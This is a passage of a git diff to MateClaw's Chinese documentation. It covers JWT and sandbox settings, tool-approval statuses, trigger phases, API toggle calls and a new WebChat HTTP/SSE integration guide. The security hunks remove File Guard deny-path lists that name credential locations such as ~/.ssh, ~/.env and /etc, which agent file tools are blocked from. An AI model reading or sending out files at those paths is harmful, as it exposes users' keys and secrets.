透传) · 每个员工绑主知识库 · 偏好提供商决定主模型 + Claude Opus 4.8 | | [v1.4.0](./releases/1.4.0) | 2026-05-23 | 持久化目标——员工锁住目标自己跟到完成 · 子员工委派变成一棵树(递归 3 层 + 异步 + 数字员工构建器) · 渐进式工具/技能披露(`enable_tool` + `load_skill`) · 工作空间 RBAC(四级角色 + 能力门禁) · 飞书做成一等公民(互动/审批/流式卡片 + 语音/文件音视频 + 渠道原生工具) | | [v1.3.0](./releases/1.3.0) | 2026-05-13 | 工作流元年——7 种 step mode 把员工组装成业务流程 · 触发器 6 种 pattern 让事件自动启动流程 · Wiki 从搜索索引升级为处理流水线(用户模板 + 跨材料聚合 + reverse-citation) · MCP per-agent 工具绑定 + 多模态旁路路由 · 4 个 JVM 原生文档生成工具 + 图像编辑 | diff --git a/mateclaw-server/src/main/resources/docs/zh/security.md b/mateclaw-server/src/main/resources/docs/zh/security.md index 97dd903f..f0f922b0 100644 --- a/mateclaw-server/src/main/resources/docs/zh/security.md +++ b/mateclaw-server/src/main/resources/docs/zh/security.md @@ -73,11 +73,10 @@ MateClaw 实现了滑动窗口 token 续签。当 token 剩余有效期低于 `r ```yaml mateclaw: - auth: - jwt: - secret: your-secret-key-must-be-at-least-32-characters-long - expiration: 86400000 # 24 小时,毫秒 - sliding-window: true + jwt: + secret: your-secret-key-must-be-at-least-32-characters-long + expiration: 86400000 # token 有效期(毫秒,默认 24 小时) + renewal-threshold: 7200000 # 剩余有效期低于此值(毫秒)触发滑动续期 ``` ::: warning @@ -267,7 +266,7 @@ POST /api/v1/chat/stream,消息为 /approve 或 /deny | `tool_name` | 要调的工具 | | `tool_args` | 实际参数的 JSON | | `rule_id` | 触发审批的规则 | -| `status` | `pending` / `approved` / `rejected` / `expired` | +| `status` | `pending` / `approved` / `denied` / `consumed` / `timeout` / `superseded` | | `requested_at` | 审批被创建的时间 | | `resolved_at` | 用户决定的时间 | | `resolved_by` | 谁决定的 | @@ -279,7 +278,7 @@ POST /api/v1/chat/stream,消息为 /approve 或 /deny ### 超时 -Pending approval 在一个可配置的超时后过期(默认 10 分钟)。过期的审批变成 `rejected`,Agent 把这个过期当作用户的拒绝一样对待。 +Pending approval 在一个可配置的超时后过期(默认 30 分钟)。过期的审批变成 `timeout`,Agent 把这个过期当作用户的拒绝一样对待。 ### 通知 @@ -348,20 +347,14 @@ File Guard 是文件系统级的访问控制。它坐在读写文件的任何工 ### 配置 +允许 / 禁止路径规则存在数据库,从管理台「安全」页或 `GET` / `PUT /api/v1/security/guard/config/file-guard` 管理——**不在 application.yml**。application.yml 里只有一项:会话没有 per-workspace base path 时,文件 / Shell 工具被限制其中的**全局兜底沙箱根**: + ```yaml mateclaw: - security: - file-guard: - enabled: true - allowed-paths: - - "${user.dir}/workspace" - - "${java.io.tmpdir}/mateclaw" - denied-paths: - - "/etc" - - "/usr" - - "${user.home}/.ssh" - - "${user.home}/.config" - - "${user.home}/.env" + workspace: + sandbox: + enabled: true # 设 false 恢复旧的不受限行为 + root: ${user.dir}/data/workspace # 兜底沙箱根,启动时自动创建 ``` 可视化编辑器在 `设置 → 安全与审批 → File Guard`。 @@ -534,42 +527,30 @@ server { ## 安全配置参考 +application.yml 里**只有两块**安全相关配置——JWT 和文件沙箱: + ```yaml mateclaw: - auth: - jwt: - secret: ${JWT_SECRET:your-secret-key-at-least-32-chars} - expiration: 86400 - sliding-window-ratio: 0.5 + jwt: + secret: ${JWT_SECRET:your-secret-key-at-least-32-chars} + expiration: 86400000 # token 有效期(毫秒) + renewal-threshold: 7200000 # 剩余有效期低于此值时滑动续期(毫秒) - tool: - guard: + # 文件 / Shell 工具的全局兜底沙箱:会话没有 per-workspace base path 时, + # 所有文件 / Shell 操作被限制在这个根目录内(fail-closed 默认) + workspace: + sandbox: enabled: true - default-policy: require_approval - approval-timeout-seconds: 600 - notifications: - email-enabled: false - dingtalk-enabled: false - - security: - file-guard: - enabled: true - allowed-paths: - - "${user.dir}/workspace" - denied-paths: - - "/etc" - - "${user.home}/.ssh" - - audit-log: - enabled: true - retention-days: 90 - - skill: - security-scan: - enabled: true - block-critical: true + root: ${user.dir}/data/workspace ``` +**其余安全配置不走 application.yml,而是存在数据库、从管理台「安全」页(或 `/api/v1/security/guard/*`)管理**: + +- **Tool Guard** 的开关、默认策略、规则、审批超时(默认 30 分钟)、通知渠道 → `mate_tool_guard_config` / `mate_tool_guard_rule` +- **File Guard** 的允许 / 禁止路径规则 → `GET` / `PUT /api/v1/security/guard/config/file-guard` +- **审计日志**默认常开,逐条写入 `mate_tool_guard_audit_log`,可导出 CSV +- **技能安全扫描**的发现落在技能安装流程里,CRITICAL 发现默认拦截 + --- ## 下一步 diff --git a/mateclaw-server/src/main/resources/docs/zh/skills.md b/mateclaw-server/src/main/resources/docs/zh/skills.md index 2ebd57c7..74ec2d23 100644 --- a/mateclaw-server/src/main/resources/docs/zh/skills.md +++ b/mateclaw-server/src/main/resources/docs/zh/skills.md @@ -281,10 +281,8 @@ curl -X POST http://localhost:18088/api/v1/skills \ }' # 启用 / 禁用 -curl -X PUT http://localhost:18088/api/v1/skills/1 \ - -H "Content-Type: application/json" \ - -H "Authorization: Bearer YOUR_JWT_TOKEN" \ - -d '{"enabled": true}' +curl -X PUT "http://localhost:18088/api/v1/skills/1/toggle?enabled=true" \ + -H "Authorization: Bearer YOUR_JWT_TOKEN" # 删除 curl -X DELETE http://localhost:18088/api/v1/skills/1 \ diff --git a/mateclaw-server/src/main/resources/docs/zh/tools.md b/mateclaw-server/src/main/resources/docs/zh/tools.md index 71beee72..5216dc4b 100644 --- a/mateclaw-server/src/main/resources/docs/zh/tools.md +++ b/mateclaw-server/src/main/resources/docs/zh/tools.md @@ -314,10 +314,8 @@ curl http://localhost:18088/api/v1/tools \ -H "Authorization: Bearer YOUR_JWT_TOKEN" # 启用 / 禁用 -curl -X PUT http://localhost:18088/api/v1/tools/1 \ - -H "Content-Type: application/json" \ - -H "Authorization: Bearer YOUR_JWT_TOKEN" \ - -d '{"enabled": false}' +curl -X PUT "http://localhost:18088/api/v1/tools/1/toggle?enabled=false" \ + -H "Authorization: Bearer YOUR_JWT_TOKEN" # 设置内置或渠道工具的披露分级 curl -X PUT http://localhost:18088/api/v1/tools/1/disclosure-tier \ diff --git a/mateclaw-server/src/main/resources/docs/zh/triggers.md b/mateclaw-server/src/main/resources/docs/zh/triggers.md index a4bd4bdf..ff8fb14c 100644 --- a/mateclaw-server/src/main/resources/docs/zh/triggers.md +++ b/mateclaw-server/src/main/resources/docs/zh/triggers.md @@ -51,7 +51,7 @@ v0 = 6 种 pattern type + 2 种 dispatch target(agent / workflow)。安全 | `cron` | 按 cron 表达式定时(**不进 ingest 管道**,由 scheduler 直跑) | `cronExpression`、`timezone` | 复用 `cron/` 模块的 ShedLock + Spring TaskScheduler;**不写 mate_cron_job 实体、不调 CronJobService** | | `webhook` | 通用事件入口透传(**v0 不做更细过滤**——secret 校验在 channel 层;trigger 这边只看 `patternType=webhook` 命中) | (v0 无字段) | 通过 `POST /api/v1/triggers/events` 入口 + envelope wrap | | `channel_message` | 渠道收到消息 | `channelType`(可选,按 envelope `data.channelType` 比对)、`senderEquals`(可选,按 sender id 精确比对) | 旁路 `ChannelWebhookController`,原路由不变 | -| `agent_lifecycle` | 员工生命周期事件 | `agentId`(可选)、`phase`(可选,取值 `spawned` / `terminated` / `crashed`) | 挂在 `ReActLifecycleListener` 上 | +| `agent_lifecycle` | 员工生命周期事件 | `agentId`(可选)、`phase`(可选,取值 `spawned` / `enabled` / `disabled` / `terminated`;`crashed` 保留给后续版本) | 挂在 `AgentLifecycleEventBridge` 上 | | `content_match` | 内容包含 substring 才命中 | `substring`(**必填**,envelope 的 `data.content` 字段大小写不敏感包含匹配) | 通用过滤层,事件源由 envelope 决定 | | `workflow_completion` | 工作流跑完进入终态 | `sourceWorkflowId`(可选)、`stateFilter`(可选,取值 `completed` / `failed` / `any`) | 监听 `WorkflowEngine` 终态事件;A→B→A 递归保护见下文 | @@ -118,7 +118,7 @@ v1.4.0 起,**定时任务**和**触发器**合并为单个**调度中心**页 - 选 `cron` → cron 表达式输入框 + 时区下拉 + 下一次触发时间预览。表达式可手输,也可点输入框旁的编辑按钮打开**可视化 cron 编辑器**(见下) - 选 `channel_message` → 渠道类型可选 + (可选)按 sender id 精确匹配 -- 选 `agent_lifecycle` → agent 可选 + phase(spawned / terminated / crashed)可选 +- 选 `agent_lifecycle` → agent 可选 + phase(spawned / enabled / disabled / terminated)可选 - 选 `content_match` → substring 输入(**必填**),匹配 envelope 的 `data.content` - 选 `workflow_completion` → 上游 workflow 可选 + state filter(completed / failed / any)可选 - 选 `webhook` → v0 没有额外字段(透传一切) @@ -272,7 +272,7 @@ v0 故意**不把 envelope 全文写进 `mate_trigger_event`**——大体量渠 - **没有可视化 trigger → workflow 串联图**——多 trigger 投递到同 workflow 在 UI 上看是两个独立列表 - **没有 trigger 间优先级 / 依赖**——同一事件命中多 trigger 时按数据库 id 升序串行 dispatch - **Webhook 入口没鉴权 IP allowlist**——只有 secret header;如果你需要更强的 IP 限制,前置 nginx / 网关 -- **`agent_lifecycle` 不区分会话级和 step 级**——员工一次对话内多次 step 失败只会触发一次 `failed` +- **`agent_lifecycle` phase 只覆盖 CRUD 操作**——实际发出的 phase 为 `spawned` / `enabled` / `disabled` / `terminated`;`crashed`(运行时崩溃)保留给后续版本,目前不触发 - **没有事件回放**——`mate_trigger_event` 是只读历史,没有"重新派发这条事件"的按钮(v1 加) --- @@ -284,7 +284,7 @@ v0 故意**不把 envelope 全文写进 `mate_trigger_event`**——大体量渠 | Cron trigger 没触发 | 1) `enabled=true`? 2) cron 表达式 + 时区是否解析为下次时间?UI 编辑器有预览; 3) ShedLock 锁是否被另一实例长持?查 `shedlock` 表 | | 事件 `POST /events` 返回 200 但 dispatch 没发生 | 返回体里有 per-trigger fire / drop 汇总——看是否被 `BOT_SELF` / `RATE_LIMITED` / `DEDUPED` / `PATTERN_MISMATCH` 标了原因 | | `channel_message` 触发不起来 | 1) envelope 的 `data.channelType` 拼写大小写是否和 trigger 的 `pattern_json.channelType` 匹配?2) `bot_self_filter=true` 但有自定义 `BotSelfFilter` 实现把它过掉了?3) `content_match` 的 `substring` 是否真的出现在 envelope 的 `data.content` 里 | -| `agent_lifecycle` 没触发 | 检查 `pattern_json.phase` 是 `spawned` / `terminated` / `crashed` 之一(不是 `started` / `completed` / `failed`) | +| `agent_lifecycle` 没触发 | 检查 `pattern_json.phase` 是 `spawned` / `enabled` / `disabled` / `terminated` 之一(不是 `started` / `completed` / `failed`);`crashed` 保留给后续版本,目前不会被发出 | | 重启后 cron trigger 不再触发 | 看启动日志 `syncFromDatabase()` 是否报错;常见是表损坏 / `pattern_json` 反序列化失败 | | `mate_trigger.last_error` 是 `"rate-limited"` | 调高 `rate_limit_per_min` 或者把 trigger 拆成多条按 group 分流 | | `bot_self_filter=true` 没起作用 | 确认 `BotSelfFilter` 是否真有非 noop 实现——默认 `NoopBotSelfFilter` 永远返回 false | diff --git a/mateclaw-server/src/main/resources/docs/zh/user-guide.md b/mateclaw-server/src/main/resources/docs/zh/user-guide.md index e5eb7c4d..4c7d389c 100644 --- a/mateclaw-server/src/main/resources/docs/zh/user-guide.md +++ b/mateclaw-server/src/main/resources/docs/zh/user-guide.md @@ -182,7 +182,7 @@ Wiki 不是全文搜索。它是**语义检索**——问「我们关于认证 | 症状 | 最可能的原因 | |------|------------| -| 后端起不来 | 18088 端口被占。看 `~/.mateclaw/logs/app.log` | +| 后端起不来 | 18088 端口被占。看 `<用户数据目录>/logs/mateclaw.log`(macOS: `~/Library/Application Support/MateClaw/logs/mateclaw.log`) | | 模型调用报错 | API Key 错了,或者网络不通。回设置里检查 | | 界面白屏 | Ctrl+Shift+R 强刷 | | Ollama 报 "does not support tools" | 换一个支持 function calling 的模型(qwen3、llama3.1:8b+) | diff --git a/mateclaw-server/src/main/resources/docs/zh/webchat.md b/mateclaw-server/src/main/resources/docs/zh/webchat.md new file mode 100644 index 00000000..955aaff2 --- /dev/null +++ b/mateclaw-server/src/main/resources/docs/zh/webchat.md @@ -0,0 +1,255 @@ +# Web / API 接入(WebChat)指南 + +MateClaw 的 WebChat 渠道让外部网站通过纯 HTTP / SSE 接入对话能力,无需 JWT。访客身份通过 `visitorId + visitorToken`(HMAC 签发)在共享的 API Key 之下做隔离。 + +接入有两条路径: + +- **嵌入式小部件** —— 引入一个 JS 文件、调一次 `init(...)`,右下角即出现聊天气泡。最快上线,适合官网 / 落地页客服。 +- **自定义 HTTP / SSE 集成** —— 直接调用下面的 REST + SSE 端点,自己渲染 UI。适合需要深度定制交互的场景。 + +## 嵌入式小部件(mateclaw-webchat) + +小部件是一个零依赖的浏览器库,产物同时提供 UMD(` + +``` + +**方式二:npm(ESM)** + +```bash +npm install @mateclaw/webchat +``` + +```ts +import { init } from '@mateclaw/webchat' + +init({ apiKey: 'your-channel-api-key', server: 'https://<你的部署地址>' }) +``` + +**配置项** + +| 字段 | 必填 | 默认 | 说明 | +|---|---|---|---| +| `apiKey` | 是 | — | 渠道 API Key | +| `server` | 是 | — | MateClaw 服务地址(不带尾斜杠) | +| `position` | 否 | `bottom-right` | 气泡位置:`bottom-right` / `bottom-left` | +| `primaryColor` | 否 | `#D97757` | 主色(任意 CSS 颜色) | +| `title` | 否 | `MateClaw` | 面板标题 | +| `placeholder` | 否 | `Type a message...` | 输入框占位符 | + +**行为说明** + +- 访客 ID 首次打开时在 `localStorage`(键 `mc-webchat-visitor`)生成并复用,无需自行管理。 +- 面板样式全部走 CSS 变量(`--mc-primary` / `--mc-bg-elevated` / ...),宿主页可在 `:root` 覆盖做主题定制。 +- 小部件内部消费本指南下半部分描述的 `/stream` SSE 协议;若要更复杂的交互(会话列表、附件、撤销等),直接走下面的 HTTP 端点自建。 + +## 自定义集成:基础 + +- **Base URL**:`https://<你的 MateClaw 部署地址>/api/v1/channels/webchat` +- **认证**:所有端点都要求请求头 `X-MC-Key: `(从渠道编辑页拿)。 +- **会话管理端点**额外要求 `X-MC-Visitor-Token: `(首次 `/stream` 调用时由服务端签发并回传)。 +- **响应包装**:`R` → `{"code": 200, "msg": "...", "data": T}`,非 200 视为错误。 +- **字符集**:UTF-8。SSE 流使用 `text/event-stream; charset=UTF-8`。 + +## 端点清单 + +| 方法 | 路径 | 鉴权 | 用途 | +|---|---|---|---| +| POST | `/stream` | API Key | SSE 流式对话(签发 visitorToken) | +| GET | `/config` | API Key | 拿渠道配置(title/placeholder/...) | +| POST | `/sessions` | API Key | 显式创建空会话线程 | +| GET | `/sessions` | + visitorToken | 列出会话(默认排除 archived) | +| GET | `/sessions/page` | + visitorToken | 分页 + 关键词搜索 | +| PUT | `/sessions/title` | + visitorToken | 重命名 | +| PUT | `/sessions/pinned` | + visitorToken | 置顶 / 取消 | +| PUT | `/sessions/archive` | + visitorToken | 归档 / 取消 | +| DELETE | `/sessions` | + visitorToken | 删除 | +| POST | `/sessions/stop` | + visitorToken | 停止进行中的流 | +| POST | `/sessions/regenerate` | + visitorToken | 重新生成最后一条助手回复 | +| GET | `/sessions/messages` | + visitorToken | 消息列表(支持分页) | +| POST | `/upload` | + visitorToken | 上传附件(拿 fileId) | +| GET | `/files` | + visitorToken | 下载文件(上传的或 Agent 生成的) | + +管理员级(需要 MateClaw JWT,不在本表的 permitAll 范围内): + +| 方法 | 路径 | 用途 | +|---|---|---| +| POST | `/api/v1/admin/webchat/revoked-visitor` | 撤销某 visitor 的管理 token | +| DELETE | `/api/v1/admin/webchat/revoked-visitor` | 取消撤销 | + +> 管理控制台里的「会话」列表默认对普通管理员隐藏 WebChat 访客会话,仅全局管理员可见 —— 这是跨工作区隔离与访客隐私的防护。 + +## 认证流程 + +```text +┌──────────┐ POST /stream {visitorId:"v1", message:"你好"} +│ 客户端 │ ─────────────────────────────────────────────► ┌──────────┐ +└──────────┘ │ MateClaw │ + ▲ └──────────┘ + │ SSE meta event: {sessionId, conversationId, visitorToken} + │ SSE content_delta events: {text} + │ SSE done event + └───────────────────────────────────────────────────────── + │ +┌──────────┐ GET /sessions X-MC-Visitor-Token: │ +│ 客户端 │ ─────────────────────────────────────────────► │ +└──────────┘ ◄──── 200 {code:200, data:[...]} │ +``` + +`visitorToken` 默认 7 天有效;过期后通过任意 `/stream` 调用重新签发。每次 `/stream`(即便旧 token 仍有效)都会在 meta 事件里回传一个新 token,客户端应持续更新本地存储,保持常新。 + +## 错误码 + +| HTTP | 何时 | +|---|---| +| 400 | 参数不合法(visitorId / sessionId 字符集,title 长度等) | +| 401 | API Key 无效 / visitorToken 缺失、过期、被撤销 | +| 404 | 指定 sessionId 不存在或不属于该 visitor | +| 409 | 未活跃空会话数超过 5 条上限 | + +错误消息在 `R.msg` 字段,可直接展示给用户。 + +## SSE 事件协议 + +`/stream` 与 `/sessions/regenerate` 返回 `text/event-stream`: + +``` +event: meta +data: {"sessionId":"s1","conversationId":"webchat:abc123:v1:s1","visitorToken":"xxx.yyy"} + +event: phase +data: {"phase":"planning","timestamp":1716700000000} + +event: tool_start +data: {"tool":"web_search"} + +event: tool_end +data: {"tool":"web_search","success":true} + +event: plan +data: {"steps":["search the web","summarize"]} + +event: content_delta +data: {"text":"你"} + +event: content_delta +data: {"text":"好"} + +event: thinking_delta +data: {"text":"..."} (可选,推理过程) + +event: done +data: {"status":"completed"} + +event: error +data: {"message":"..."} (出错时) +``` + +> SSE 规范要求客户端忽略未知事件类型。服务端可能发出以下划线开头的内部事件(如 `_usage_final`),这些不对访客承诺、可安全忽略。 + +### 可选的实时进度事件 + +`phase` / `tool_start` / `tool_end` / `plan` 是**可选**事件 —— 用于在 +SDK 里展示"AI 正在打字..."气泡、工具执行徽章("正在搜索...")、Plan-Execute +步骤清单。SDK 可以全部忽略,只看 `content_delta` 也能完整渲染回复。 + +| 事件 | 触发时机 | 数据字段 | +|---|---|---| +| `phase` | agent 进入新的执行阶段(planning / generating / summarizing / ...) | `phase`, `timestamp` | +| `tool_start` | agent 调用工具 | `tool`(工具名) | +| `tool_end` | 工具调用完成 | `tool`, `success` | +| `plan` | Plan-Execute agent 拆解出步骤 | `steps`(字符串数组) | + +**注意**:`tool_start` / `tool_end` **只携带工具名**,不携带调用参数或返回 +结果 —— agent 工具调用可能涉及 PII(文件路径、用户查询、凭据),转发给 +第三方网站前端会有数据泄露风险。SDK 应基于工具名做本地化 label 映射 +(`web_search` → "正在搜索...")。 + +## 文件上传 / 下载 + +1. `POST /upload`(multipart):返回 `{fileId, fileName, contentType, size}`。 +2. 在下一次 `/stream` 的请求体里把 fileId 加到 `attachmentIds` 数组。未知 / 过期 / 不属于该访客的 fileId 会被静默丢弃(仅发送文本部分,不报错)。 +3. Agent 下载时直接读服务端文件;消息里的 `fileUrl` 是相对下载路径(`/api/v1/channels/webchat/files?storedName=...`),客户端拼接鉴权头就能下载。 +4. Agent 生成的文件(PDF/DOCX/...)在助手回复里以 `/api/v1/files/generated/` URL 形式出现,**无鉴权下载**,7 天 TTL。 + +## 会话生命周期:置顶 / 归档 / 删除 + +- **置顶**(`PUT /sessions/pinned`):在 `/sessions` 列表里排序优先。 +- **归档**(`PUT /sessions/archive`):软关闭 —— 线程留在库里(历史可查、可按 sessionId 寻址、文件可下载),但默认从 `/sessions` 列表隐藏(传 `includeArchived=true` 才返回),且不再占用"未活跃空会话 ≤ 5"的配额。 +- **删除**(`DELETE /sessions`):永久删除,不可恢复。 + +`/sessions` 返回的每个会话含:`sessionId`、`title`、`lastActiveTime`、`messageCount`、`pinned`、`archived`、`streamStatus`(`running` / `idle`)。 + +## visitorToken 撤销(管理员) + +某个 visitor 滥用?管理员调: + +```bash +curl -X POST https://mate.example.com/api/v1/admin/webchat/revoked-visitor \ + -H "Authorization: Bearer <管理员 JWT>" \ + -H "Content-Type: application/json" \ + -d '{"channelId":123, "visitorId":"v1", "reason":"abuse"}' +``` + +撤销后该 visitor 的所有管理端点调用返回 401(`/stream` 不受影响,可重新签发新 token)。撤销状态带短时缓存,多实例下最长约 10 分钟生效。取消撤销用 `DELETE` 同一端点。 + +## curl 示例 + +**第一步:发首条消息** + +```bash +curl -N -X POST https://mate.example.com/api/v1/channels/webchat/stream \ + -H "X-MC-Key: your-api-key" \ + -H "Content-Type: application/json" \ + -d '{"visitorId":"v1","message":"你好"}' +``` + +保存 meta 事件里的 `visitorToken` 和 `sessionId`。 + +**第二步:列会话** + +```bash +curl https://mate.example.com/api/v1/channels/webchat/sessions?visitorId=v1 \ + -H "X-MC-Key: your-api-key" \ + -H "X-MC-Visitor-Token: <上一步拿到的>" +``` + +**第三步:上传附件并发送** + +```bash +# 上传 +curl -X POST https://mate.example.com/api/v1/channels/webchat/upload \ + -H "X-MC-Key: your-api-key" \ + -H "X-MC-Visitor-Token: " \ + -F "visitorId=v1" \ + -F "file=@report.pdf" +# 返回 {"fileId":"abc-uuid", ...} + +# 带附件发消息 +curl -N -X POST https://mate.example.com/api/v1/channels/webchat/stream \ + -H "X-MC-Key: your-api-key" \ + -H "Content-Type: application/json" \ + -d '{"visitorId":"v1","sessionId":"","message":"看看这份报告","attachmentIds":["abc-uuid"]}' +``` + +## 限制 + +- 单 visitor 未活跃空会话 ≤ 5(超 5 拒绝创建,需先发消息或删除旧会话) +- 上传:单文件 ≤ 配置上限,扩展名 + MIME 双白名单;每会话 ≤ 50 文件 / 200 MB(可配) +- visitorToken 7 天过期;Agent 生成文件 URL 7 天 TTL +- 当前是单实例部署(staging registry + streamTracker 都在内存)。多实例支持在路线图上。 + +## 关联 + +- 上游 epic issue:https://github.com/matevip/mateclaw/issues/355 diff --git a/mateclaw-server/src/main/resources/docs/zh/wecom-tuning.md b/mateclaw-server/src/main/resources/docs/zh/wecom-tuning.md index e466b3ea..4f194f80 100644 --- a/mateclaw-server/src/main/resources/docs/zh/wecom-tuning.md +++ b/mateclaw-server/src/main/resources/docs/zh/wecom-tuning.md @@ -111,7 +111,7 @@ WeCom 群里转发的文件经常**没有 filename 字段**。落地存成 `file - 其他常见格式(PNG / JPEG / MP4 / MP3 / WAV)都能正确识别 - 实在认不出 → 保留 `.bin`,至少不假装是其他格式 -实现在 `WeComChannelAdapter.sniffMagic()` + `refineZipKind()`。 +实现在 `MediaTypeSniffer.sniff()` + `MediaTypeSniffer.refineZipKind()`(被 `InboundMediaDownloader.download()` 调用)。 --- diff --git a/mateclaw-server/src/main/resources/docs/zh/wiki.md b/mateclaw-server/src/main/resources/docs/zh/wiki.md index cba5cd99..3122a145 100644 --- a/mateclaw-server/src/main/resources/docs/zh/wiki.md +++ b/mateclaw-server/src/main/resources/docs/zh/wiki.md @@ -91,7 +91,7 @@ MateClaw 的 LLM Wiki **是同一个想法长成的产品**: eager 模式分两阶段,速度提了一个数量级: - **阶段 A(路由)**——抽取元信息和概念路由,决定每段原文会流向哪些页面。 -- **阶段 B(合并)**——按页并行生成,60+ 页同时跑。每条原始素材有自己的**独立进度条**——不再盯着"处理中…"猜进度。 +- **阶段 B(合并)**——按页并行生成,并发度由配置决定(可跨多条原始素材同时处理多页)。每条原始素材有自己的**独立进度条**——不再盯着"处理中…"猜进度。 **可恢复**:中途断了?点"重新处理",只重跑未完成的页面,已生成的不动。超过模型上下文限制的文档,系统自动做 mean-pool 子段切分——你不用管。 @@ -285,7 +285,7 @@ UI 上能做: - **最近变更**——上次重建以来新生成 / 重新编译的页面 - **悬而未决的话题**——开放问题和未结论的决策 -重建在每次会话结束(`ConversationCompletedEvent`)异步触发,配合一个可配置的去抖窗口(默认约 30 秒),短轮次密集发生时不会把 LLM 打爆。Admin 也可以手动触发重建——手动路径会绕开去抖。 +重建在每次会话结束(`ConversationCompletedEvent`)异步触发,配合一个可配置的去抖窗口(默认 5 分钟),短轮次密集发生时不会把 LLM 打爆。Admin 也可以手动触发重建——手动路径会绕开去抖。 注入受 `wiki.hot_cache.enabled` 特性开关控制(关闭 → 注入空字符串),并按 KB 优先级最多挑前两个,避免系统提示被撑爆。 @@ -372,8 +372,8 @@ slug 必须是真实存在页面的 slug。LLM 生成内容时索引里给的就 进入任一 KB,顶部 banner 会显示当前死链状态。按"扫描死链"启动一次全 KB job: -| Method | Path | 说明 | -|---|---|---| +| 端点 | 说明 | +|---|---| | `POST /api/v1/wiki/knowledge-bases/{kbId}/lint/broken-links` | 启动 job(job-based 异步),返回 `{jobId, status, startedAt}`;同 KB 已有 running job 时幂等返回 | | `GET .../lint/broken-links` | 拉最近一次 completed 扫描的聚合结果 | | `GET .../lint/broken-links/jobs/{jobId}` | 查单次 job 状态 | @@ -410,6 +410,12 @@ Chat 渲染 agent 回复时,content 里的 `[[slug]]` / `[[slug|alias]]` 会 不再需要先去 wiki 视图、再找 KB、再找页面——chat 里看到的引用直接跳。lookup 严格 case-insensitive exact,不做 canonical 模糊,所以 LLM 写错 slug 会通过 toast 让你看到,而不是悄悄跳到一个"看起来像的"页面。 +### Chat 里点 `[n]` 引用标记也能跳 + +员工基于 wiki 检索作答时,回答末尾会带一段"来源:"清单(`[1] 标题 - 章节 - page N`)。现在正文里的 `[1]`、`[2]` 这种**引用标记本身可点击**,来源清单里的每一行也整行可点——点哪个都跳到对应的 wiki 页面,跳转逻辑和上面的 wikilink 共用一套(按标题跨 KB lookup,0 / 1 / 多命中分别 toast / 直达 / picker)。 + +后端会把来源行**规范化**成统一格式(必要时补上"来源:"标头、把旧格式原地替换),前端才能可靠地识别并把 `[n]` 接上链接。前提是该 KB 已启用 Wiki 并完成消化。 + ### Phase 路线图(每个 phase 都已 land) | Phase | 主要变更 | @@ -514,6 +520,40 @@ mate: --- +## 知识图谱:实体层 + +::: tip 新增 +页面层回答"这件事写在哪一页",**实体层**回答"谁和谁有什么关系"。入库时除了切块、嵌入、写页面,还能再做一遍**实体抽取**:把人、组织、地点、事件、产品、概念这些**实体**和它们之间的**关系**抽出来,连成一张可点的知识图谱。 +::: + +### 抽什么、什么时候抽 + +抽两类东西: + +- **实体(节点)**——每个实体有规范名、别名、描述、显著度(salience)、提及次数,还有一个向量用于近义去重。内置六种类型:`person` / `organization` / `location` / `event` / `product` / `concept`。 +- **关系(边)**——`主语 → 谓词 → 宾语` 三元组(谓词是 `works_for`、`located_in`、`founded` 这种 snake_case 短语),每条关系都附一段证据引文。 + +抽取在消化流水线里嵌入写完之后,作为一个**独立异步 pass** 触发,不阻塞页面生成。它是**增量**的——默认跳过已经抽过的 chunk。实体归一化走三级:运行时缓存 → 数据库精确 key → 向量余弦相似度(阈值 0.92)合并近义实体,所以"阿里巴巴"和"Alibaba"会并到同一个节点。 + +只有在 KB 配置里**开启了实体抽取**才会跑。想立刻重抽:`POST /api/v1/wiki/kb/{kbId}/entities/extract?force=true`——force 模式会先拿到新结果再替换旧图谱,即使 LLM 整个失败,现有图谱也不会被清空。 + +### 配置实体类型 + +`Wiki → 配置 → 实体抽取` 卡片里:打开开关后出现一个标签编辑器(可多选、可搜索、可现场新建)。内置建议就是上面六种,你可以直接敲入自定义类型(比如 `technology`、`law`)按回车加进去。留空则回退到内置六种。类型列表存在 KB 的 `configContent` JSON 的 `entityTypes` 字段里。 + +### 在图上看关系 + +Wiki 图谱视图工具栏上多了**页面图 / 实体图**切换。切到实体图后: + +- 整图加载(`GET /api/v1/wiki/kb/{kbId}/entity-graph`),节点按类型上色,标签**始终显示** +- 顶部**图例(type legend)**列出图里出现的所有实体类型;点某个类型标签可以把该类型的节点过滤掉 / 恢复,图大的时候很有用 +- 点一个节点 → 加载它的**自我图(ego-graph)**,右侧面板列出这个实体的别名、关系、以及**提及它的 wiki 页面**(可点击跳过去) +- 配色用一套统一的大地色板,和页面类型图共用一套视觉语言;由于图谱用 canvas 渲染读不到 CSS 变量,配色在 JS 层读取当前主题的计算样式,亮 / 暗模式下标签颜色都正确 + +底层三张表见下方[底层数据](#底层数据-如果你好奇)。 + +--- + ## 视觉管线:图片也能被读出来 读不了图的 wiki 是半瞎的。PDF 尤其严重——一半的真信息往往就在那些图里。 @@ -534,7 +574,7 @@ mate: |---|---|---| | `dashscope-vision` | `qwen-vl-max` | DashScope 兼容模式,复用 UI 里配好的 DashScope provider | | `zhipu-vision` | `glm-5v-turbo` | 智谱 BigModel,OpenAI 兼容 | -| `volcano-doubao-vision` | 可配置 | 字节跳动火山豆包视觉 | +| `doubao-vision` | 可配置 | 字节跳动火山豆包视觉 | Provider 按 order 自动选用。Key / base URL 都在 `Settings → 模型` 里像普通 provider 那样配,视觉管线会从那里取凭证。 @@ -582,11 +622,11 @@ stepModels[step] → wikiDefaultModelId → 系统默认模型 ## 底层数据(如果你好奇) -九张表: +核心表(完整列表见各功能章节): | 表名 | 用途 | |------|------| -| `mate_wiki_knowledge_base` | 每个 KB 一行。owner、名字、描述、配置 JSON(含 `ingestMode` / `wikiDefaultModelId` / `stepModels` 等)。 | +| `mate_wiki_knowledge_base` | 每个 KB 一行。owner、名字、描述、配置 JSON(含 `ingestMode` / `wikiDefaultModelId` / `stepModels` / `entityExtractionEnabled` / `entityTypes` 等)。 | | `mate_wiki_raw_material` | 每份上传一行。状态、byte hash、来源路径、上次成功处理时的 hash。 | | `mate_wiki_page` | 每个生成页面一行。标题、摘要、正文、`source_raw_ids`(回指原文)、`page_type`、`locked`、版本号,外加 `embedding` / `embedding_model` / `embedding_text_version` 让 synthesis 页直接进语义搜索。 | | `mate_wiki_chunk` | 每个 chunk 一行。content + hash + 偏移 + embedding,外加 `page_number` / `header_breadcrumb` / `source_section` / `token_count`。 | @@ -595,6 +635,9 @@ stepModels[step] → wikiDefaultModelId → 系统默认模型 | `mate_wiki_image_caption_cache` | 视觉管线提取出的 caption 缓存,按 SHA-256 索引。`caption` / `visible_text` / `mime_type` / `capture_model` / 